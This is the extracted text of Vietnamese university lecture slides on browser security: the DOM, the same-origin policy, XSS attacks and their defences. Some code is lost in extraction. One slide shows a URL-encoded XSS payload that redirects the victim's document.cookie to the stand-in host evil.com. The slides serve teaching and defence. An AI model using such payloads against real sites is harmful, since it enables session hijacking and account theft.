BÀI 7. AN TOÀN DỊCH VỤ WEB XSS & CSRF

Bùi Trọng Tùng, Viện Công nghệ thông tin và Truyền thông, Đại học Bách khoa Hà Nội

1

Nội dung

• Xử lý trang web tại trình duyệt • XSS • CSRF

2

CuuDuongThanCong.com

https://fb.com/tailieudientucntt

1

1. XỬ LÝ TẠI TRÌNH DUYỆT

Bùi Trọng Tùng, Viện Công nghệ thông tin và Truyền thông, Đại học Bách khoa Hà Nội

3

Tương tác trình duyệt Web-Web server

HTTP Request(GET, POST, HEAD, PUT…)

HTTP Response(HTML Page, JS file, CSS file, image, ...)

Hiển thị

Database Queries

4

CuuDuongThanCong.com

https://fb.com/tailieudientucntt

2

Hiển trị (rendering) nội dung trang web

• Mô hình xử lý cơ bản tại trình duyệt: mỗi cửa sổ hoặc 1

frame: Nhận thông điệp HTTP Response Hiển thị:

Xử lý mã HTML, CSS, Javascripts Gửi thông điệp HTTP Request yêu cầu các đối tượng khác(nếu có) Bắt và xử lý sự kiện

• Các sự kiện có thể xảy ra:

Sự kiện của người dùng: OnClick, OnMouseOver… Sự kiện khi hiển thị: OnLoad, OnBeforeUnload… Theo thời gian: setTimeout(), clearTimeout()…

5

Ví dụ

My First Web Page

My first paragraph.

6

CuuDuongThanCong.com

https://fb.com/tailieudientucntt

3

Document Object Model(DOM)

• Tổ chức các đối tượng của trang HTML thành cấu trúc

cây

• Cung cấp API (hướng đối tượng)để tương tác • Ví dụ:

Thuộc tính: document.alinkColor, document.URL, document.forms[

], document.links[ ]…

Phương thức: document.write()…

• Bao gồm cả đối tượng của trình duyệt(Browser Object Model - BOM): window, document, frames[], history, location…

7

DOM – Ví dụ

Example ... Alice

document

head body

title ... a

Alice

8

CuuDuongThanCong.com

https://fb.com/tailieudientucntt

4

DOM – Ví dụ khác

...

href="javascript:flipText()"> Alice script a

flipText Alice

9

Javascript

• Ngôn ngữ cho phép xây dựng các script để trình duyệt

thực thi

• Được nhúng vào các trang web mà server trả về cho

client

• Thường sử dụng để tương tác với DOM • Khả năng tương tác rất mạnh:

Thay đổi nội dung trang web Theo dõi các sự kiện trên trang web (bao gồm cả hành vi của

người dùng: rê chuột, nhấp chuột, gõ phím)

Đọc, thiết lập cookie Sinh các HTTP Request khác và đọc HTTP Response trả về

10

CuuDuongThanCong.com

https://fb.com/tailieudientucntt

5

Chính sách cùng nguồn(SOP)

• Same Origin Policy • Chính sách sử dụng trên trình duyệt Web • Nguồn = Giao thức + Hostname + Cổng ứng dụng • Chính sách SOP: Trang web của nguồn này không được phép đọc, thay đổi nội dung trang web của nguồn khác

 cách ly các trang web khác nguồn

A

B

A

A

B

11

SOP – Ví dụ Kiểm tra khả năng truy cập từ http://www.example.com/dir/page.html

Outcome Compared URL

Success httpː//www.example.com/dir/page2.html

Success

Success httpː//www.example.com/dir2/other.html

httpː//username:password@www.example.com/dir2/other.html

Failure httpː//www.example.com:81/dir/other.html

Failure https://www.example.com/dir/other.html

Failure http://en.example.com/dir/other.html

Failure http://example.com/dir/other.html

Failure http://v2.www.example.com/dir/other.html

Depends httpː//www.example.com:80/dir/other.html

12

CuuDuongThanCong.com

https://fb.com/tailieudientucntt

6

2. TẤN CÔNG DẠNG CROSS SITE SCRIPTING (XSS)

Bùi Trọng Tùng, Viện Công nghệ thông tin và Truyền thông, Đại học Bách khoa Hà Nội

13

Tấn công XSS (Cross Site Scripting)

• Lỗ hổng XSS: ứng dụng web không kiểm soát sự có mặt của mã thực

thi trong giá trị tham số đầu vào và/hoặc trong kết quả trả về trên thông điệp HTTP Response

• Tấn công XSS: lợi dụng lỗ hổng XSS để ẩn giấu mã độc trong thông điệp HTTP Request và lừa ứng dụng web trả về thông điệp HTTP Response chứa mã độc này.

• Hậu quả: trình duyệt của người dùng thông thường thực thi mã độc nằm trong thông điệp HTTP Response nhận được từ web server

• Có thể thực hiện tương tự trên các dịch vụ email, trình đọc file PDF

• Các phương phép chèn mã thực thi:

 Reflected XSS

 Stored XSS

 DOM-based XSS

14

CuuDuongThanCong.com

https://fb.com/tailieudientucntt

7

Tấn công Reflected XSS

Attack Server

Victim Server

evil.com

Victim Server

(5) Trình duyệt thực thi mã độc

victim.com

15

Tấn công Reflected XSS - Ví dụ

• Giả sử trên website của mục tiêu cung cấp tính năng tìm

kiếm.

http://victim.com/search.php?term=

• Đoạn mã thực thi trên server như sau:

Search Results Results for : . . .

16

CuuDuongThanCong.com

https://fb.com/tailieudientucntt

8

Tấn công Reflected XSS - Ví dụ (tiếp)

• Người dùng tải một trang web từ server của kẻ tấn công

chưa đường dẫn sau

http://victim.com/search.php?term=

• Điều gì xảy ra khi người dùng nhấp vào đường dẫn trên?

17

http://www.victim.com/search.php? term=%3Cscript%3Edocument.location=‘evil. com/’ +document.cookie;%3C/script%3E

“Check out this link!”

Session token của người dùng trên victim.com

http://www.victi m.com/search.ph p? term=%3Cscript %3Edocument.loc ation=‘evil.com/’ +document.cookie ;%3C/script%3E

evil.com/f9geiv33knv141

HTTP Response chứa mã thực thi đã truyền qua giá trị đầu vào

victim.com evil.com

18

CuuDuongThanCong.com

https://fb.com/tailieudientucntt

9

Tấn công Stored XSS

Attack Browser/Server

evil.com

(1)Chèn mã độc vào CSDL của mục tiêu

(4)Trình duyệt thực thi mã độc

bank.com

19

evil.com Session token của người dùng trên victim.com

Comment with text:

Posts comment with text:

evil.com/f9geiv33knv141

victim.com

20

CuuDuongThanCong.com

https://fb.com/tailieudientucntt

10

Tấn công Stored XSS – Ví dụ

• Tấn công vào myspace.com năm 2007 để phát tán sâu

Samy

• Myspace cho phép người dùng đăng bài dưới dạng mã

HTML: Kiểm soát, không cho phép nhúng Javascript vào các thẻ

• Yêu cầu thông thường http://www.example.com/welcome.html?name=Joe • Nhúng mã thực thi http://www.example.com/welcome.html?name=

23

Phòng chống tấn công XSS phía server

• Open Web Application Security Project (OWASP) • Kiểm tra cẩn thận HTTP header, cookie, truy vấn, các

trường ẩn

• Không nên cố gắng nhận dạng, loại trừ, lọc các đối tượng

chủ động (active content)

• Nên sử dụng các chính sách dạng “positive” liệt kê những

đối tượng, hành vi được phép, thay vì các chính sách dạng “negative”

• Kiểm tra giá trị đầu vào do client cung cấp • Từ chối/sử dụng các bộ mã cho các ký tự đặc biệt với chuỗi đầu ra. Ví dụ dùng < cho ‘<‘, > cho ‘>’, " cho “...

24

CuuDuongThanCong.com

https://fb.com/tailieudientucntt

12

Chú ý: Mã Javascript có thể chèn vào nhiều vị trí khác nhau trên trang web

• Sử dụng mã Javascript như một URI

• Chèn mã Javascript vào các thuộc tính của

phương thức xử lý sự kiện (OnSubmit, OnError, OnLoad, …) • Một số ví dụ: